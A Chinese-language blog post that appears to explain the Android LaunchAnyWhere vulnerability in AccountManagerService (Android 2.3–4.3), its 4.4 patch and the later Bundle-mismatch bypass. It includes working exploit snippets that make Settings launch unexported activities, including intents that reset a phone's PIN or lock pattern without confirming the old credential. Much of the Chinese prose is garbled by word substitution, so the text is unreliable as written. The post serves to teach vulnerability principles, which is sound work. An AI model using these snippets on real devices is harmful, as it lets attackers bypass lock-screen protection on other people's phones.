我正在参与「启航方案」
前语
今年3月份,知名反病毒软件公司卡巴斯基实验室发布了一份关于中国电商渠道拼多多的调查报告,称该渠道的安装程序中含有歹意代码。这一音讯引起了广泛的重视和评论,也引发了人们对于拼多多渠道安全性的担忧
作为技能开发人员,我看到了PDD对安卓OEM源码中的缝隙的深入研究。
了解和学习
Android
缝隙原理有以下几个用处:
-
进步运用安全性:经过了解缝隙原理,开发者能够更好地了解缝隙的产生机理,进而在运用开发进程中采取相应的安全措施,避免缝隙的产生,进步运用的安全性。
-
提升运用质量:学习缝隙原理能够协助开发者更好地了解
Android
渠道的工作原理,深入了解操作体系的内部机制,有助于开发高质量的运用程序。 -
改善代码风格:学习缝隙原理能够协助开发者更好地了解代码的运转方法和作用,然后进步代码的可读性和可维护性。
-
了解安全防护技能:学习缝隙原理能够协助开发者了解目前干流的安全防护技能,把握安全防护的最佳实践,然后更好地保障运用程序的安全性。
总之,了解和学习Android
缝隙原理能够协助开发者更好地了解操作体系的内部机制,进步运用程序的安全性、质量和可维护性。
LaunchAnyWhere缝隙
这是一个AccountManagerService
的缝隙,运用这个缝隙,咱们能够恣意调起恣意未导出的Activity
,突破进程间组件访问阻隔的限制。这个缝隙影响2.3 ~ 4.3
的安卓体系。
有些同学看到这儿或许有些疑问,这个缝隙不是在
Android4.3
今后被解决了么?我想要说的是要了解startAnyWhere
就需求了解它的前史,而LaunchAnyWhere
缝隙能够说是它的一部分前史。
一般运用(记为AppA)去恳求增加某类账户时,会调用AccountManager.addAccount
,然后AccountManager
会去查找供给账号的运用(记为AppB)的Authenticator
类,调用Authenticator. addAccount
方法;AppA再根据AppB回来的Intent去调起AppB的账户登录界面。
关于AccountManagerService
AccountManagerService
相同也是体系服务之一,暴露给开发者的的接口是AccountManager
。该服务用于办理用户各种网络账号。这使得一些运用能够获取用户网络账号的token,而且运用token调用一些网络服务。许多运用都供给了账号授权功用,比如微信、支付宝、邮件Google服务等等。
关于AccountManager
的运用,能够参考Launchanywhere的Demo:github.com/stven0king/…
由于各家账户的登陆方法和token获取机制必定存在差异,所以AccountManager
的身份验证也被规划成可插件化的形式:由供给账号相关的运用去完成账号认证。供给账号的运用能够自己完成一套登陆UI,接纳用户名和密码;恳求自己的认证服务器回来一个token
;将token缓存给AccountManager
。
能够从“设置-> 增加账户”中看到体系内可供给网络账户的运用:
假如运用想要出现在这个页面里,运用需求声明一个账户认证服务AuthenticationService
:
<service android:name=".AuthenticationService"
android:exported="true"
android:enabled="true">
<intent-filter>
<action android:name="android.accounts.AccountAuthenticator" />
</intent-filter>
<meta-data
android:name="android.accounts.AccountAuthenticator"
android:resource="@xml/authenticator" />
</service>
并在服务中供给一个Binder
:
public class AuthenticationService extends Service {
private AuthenticationService.AccountAuthenticator mAuthenticator;
private AuthenticationService.AccountAuthenticator getAuthenticator() {
if (mAuthenticator == null)
mAuthenticator = new AuthenticationService.AccountAuthenticator(this);
return mAuthenticator;
}
@Override
public void onCreate() {
mAuthenticator = new AuthenticationService.AccountAuthenticator(this);
}
@Override
public IBinder onBind(Intent intent) {
Log.d("tanzhenxing33", "onBind");
return getAuthenticator().getIBinder();
}
static class AccountAuthenticator extends AbstractAccountAuthenticator {
/****部分代码省掉****/
@Override
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException {
Log.d("tanzhenxing33", "addAccount: ");
return testBundle();
}
}
}
声明账号信息:authenticator.xml
<?xml version="1.0" encoding="utf-8"?>
<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
android:accountType="com.tzx.launchanywhere"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name">
</account-authenticator>
缝隙原理
一般运用(记为AppA)去恳求增加某类账户时,会调用AccountManager.addAccount
,然后AccountManager
会去查找供给账号的运用(记为AppB)的Authenticator
类,调用Authenticator.addAccount
方法;AppA再根据AppB回来的Intent
去调起AppB的账户登录界面。
这个进程如图所示:
咱们能够将这个流程转化为一个比较简单的事实:
- AppA恳求增加一个特定类型的网络账号
- 体系查询到AppB能够供给一个该类型的网络账号服务,体系向AppB建议恳求
- AppB回来了一个intent给体系,体系把intent转发给appA
- AccountManagerResponse在AppA的进程空间内调用 startActivity(intent)调起一个Activity;
- AccountManagerResponse是FrameWork中的代码, AppA对这一调用毫不知情。
这种规划的原意是,AccountManagerService
协助AppA查找到AppB账号登陆页面,并呼起这个登陆页面。而问题在于,AppB能够恣意指定这个intent所指向的组件,AppA将在不知情的情况下由AccountManagerResponse
调用起了一个Activity
. 假如AppA是一个system权限运用,比如Settings
,那么AppA能够调用起恣意AppB指定的未导出Activity
。
怎样运用
上文已经提到过,假如假定AppA是Settings,AppB是进犯程序。那么只需能让Settings触发addAcount的操作,就能够让AppB launchAnyWhere。而问题是,怎样才能让Settings触发增加账户呢?假如从“设置->增加账户”的页面去触发,则需求用户手工点击才能触发,这样进犯的成功率将大大降低,因为一般用户是很少从这儿增加账户的,用户往往习气直接从运用本身登陆。
不过现在就抛弃还太早,其实Settings早已经给咱们留下触发接口。只需咱们调用com.android.settings.accounts.AddAccountSettings
,并给Intent
带上特定的参数,即可让“Settings触发launchAnyWhere
:
Intent intent1 = new Intent();
intent1.setComponent(new ComponentName("com.android.settings", "com.android.settings.accounts.AddAccountSettings"));
intent1.setAction(Intent.ACTION_RUN);
intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {"自己的账号类型"};
intent1.putExtra("account_types", authTypes);
AuthenticatorActivity.this.startActivity(intent1);
这个进程如图Step 0所示:
运用场景
首要的进犯目标仍是运用中未导出的Activity
,特别是包含了一些intenExtra
的Activity
。下面仅仅举一些简单例子。这个缝隙的损害取决于你想进犯哪个Activity
,仍是有一定运用空间的。比如进犯许多app未导出的webview
,结合FakeID
或许JavascriptInterface
这类的浏览器缝隙就能造成代码注入履行。
重置pin码
- 绕过pin码认证界面,直接重置手机体系pin码。
intent.setComponent(new ComponentName("com.android.settings","com.android.settings.ChooseLockPassword"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("confirm_credentials",false);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;
重置锁屏
绕过原有的锁屏校验,直接重置手机的锁屏密码。
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.ChooseLockPattern"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;
缝隙修正
安卓4.4已经修正了这个缝隙,查看了Step3中回来的intent所指向的Activity和AppB是否是有相同签名的。避免了luanchAnyWhere的或许。 Android4.3源代码:androidxref.com/4.3_r2.1/xr… Android4.4源代码:androidxref.com/4.4_r1/xref… 官网缝隙修正的Diff:android.googlesource.com/platform/fr…
文章到这儿就悉数讲述完啦,若有其他需求沟通的能够留言哦~!
PS:故事到这儿就完毕了么?
这个补丁在其时是没什么问题,但是比及2017年,有海外的研究人员在一份歹意样本中发现,能够运用
Parcelable
反序列化绕过这个补丁,由于system_server
中查看Intent,而且又经过AIDL
传给Settings
之后发动界面,这其中跨越了进程边界,也就涉及到一次序列化和反序列化的进程,那么咱们假如经过Parcelable
反序列化缝隙的字节错位,经过精确的布局,使得system_server
在查看Intent
时找不到这个Intent
,而在错位后Settings
却刚好能够找到,这样就能够完成补丁的绕过并再次完成LaunchAnyWhere
,研究人员将发现的这种缝隙运用方法命名为Bundle mismatch
。
假如感兴趣能够持续阅读下面的文章:
Bundle数据结构和反序列化分析
Bundle 风水 – Android Parcel 序列化与反序列化不匹配系列缝隙
参考:
申迪的《launchAnyWhere: Activity组件权限绕过缝隙解析(Google Bug 7699048 )》